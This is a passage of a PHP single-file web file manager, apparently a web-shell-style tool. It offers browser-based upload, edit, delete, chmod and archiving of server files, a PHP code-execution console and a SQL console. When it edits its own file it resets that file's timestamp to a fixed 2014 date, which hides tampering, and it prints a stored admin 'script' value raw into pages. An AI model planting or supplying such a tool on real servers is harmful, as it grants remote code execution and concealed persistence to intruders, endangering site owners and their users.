url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
